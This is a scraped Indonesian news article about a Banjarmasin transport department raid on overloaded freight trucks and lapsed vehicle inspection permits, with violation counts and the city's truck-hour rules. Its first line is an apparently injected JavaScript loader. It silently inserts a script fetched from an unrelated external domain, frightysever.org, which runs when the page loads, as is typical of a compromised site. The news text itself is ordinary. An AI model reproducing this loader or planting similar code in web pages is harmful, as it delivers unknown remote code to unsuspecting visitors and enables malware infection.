(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perhubungan (Dishub) Kota Banjarmasin melakukan razia menyasar kendaraan Over Dimension Over Load (ODOL), Selasa (18/7/2023) siang.
Titik razia berlangsung di jalan Anang Adenansi tepatnya samping Taman Kamboja, Kota Banjarmasin.
Sehari sebelumnya, razia juga digelar di tempat berbeda yaitu di jalan Gubernur Soebardjo arah Pelabuhan Trisakti.
Hasilnya, selama dua hari operasi puluhan kendaraan angkutan barang terjaring razia dengan pelanggaran surat uji kendaraan bermotor (KIR) yang sudah mati maupun kelebihan muatan.
Razia di jalan Anang Adenansi, petugas mendapati sedikitnya 11 pelanggar. Dengan rincian 7 buah mobil angkutan terkait kelengkapan surat menyurat, tilang langsung diberikan Satlantas Polresta Banjarmasin. Kemudian empat buah mobil angkutan barang didapati masa uji berkala KIR yang belum diperpanjang.
Sementara itu dari razia di jalan Gubernur Soebardjo didapati 45 pelanggar dengan rincian 26 terkait kelengkapan surat-menyurat, dan 20 mobil angkutan barang mendapat tilang karena masa uji berkala belum diperpanjang.
Kemudian 15 mobil pikap dan truk yang didata berkaitan imbauan agar memperpanjang KIR, serta sebanyak 41 mobil angkutan barang dilakukan sosialisasi mengenai jam operasional keluar masuk kota Banjarmasin.
“Selama penertiban dilakukan, puluhan kendaraan kami lakukan penindakan, mayoritas pelanggaran KIR-nya sudah tidak berlaku dan bermuatan lebih,” kata Kabid Pengawasan dan Pengendalian Dishub Banjarmasin Jahri SE.
Dijelaskan Jahri, operasi penertiban melibatkan Satlantas Polresta Banjarmasin dan Bidang Angkutan Dishub Kota Banjarmasin. Dishub Banjarmasin ingin meminimalisir hingga menghilangkan kendaraan ODOL di jalan utama kota Banjarmasin.
“Kami lakukan kegiatan ini adalah untuk menindaklanjuti peraturan pemerintah tentang penerapan Indonesia Zero ODOL 2023,” ungkapnya.
Baca juga: Pemprov Kalsel Rilis Tema dan Logo Hari Jadi ke-73 Provinsi Kalsel
Operasi juga bertujuan untuk memberikan himbauan kepada sopir angkutan barang mengenai jam operasional masuk dan keluar kota Banjarmasin sesuai dengan Peraturan Wali Kota (Perwali).
Pada Perwali Nomor 8 Tahun 2022 jam larangan mobil angkutan barang masuk kota yaitu saat pagi pukul 06.00 sampai 09.00 Wita dan waktu sore pukul 16.00 sampai 20.00 Wita.
Kemudian angkutan kontainer 40 feet, truk tempel, dan sejumlah truk berdimensi besar dan panjang dilarang beroperasi pada pagi pukul 06.00 Wita sampai malam pukul 21.00 Wita.
Jahri berharap para sopir dan pengusaha tidak lagi melanggar aturan dengan menyesuaikan mutan angkutan seusai ketentuan serta melakukan uji berkala kendaraan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More
KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More
KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More
KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More
This website uses cookies.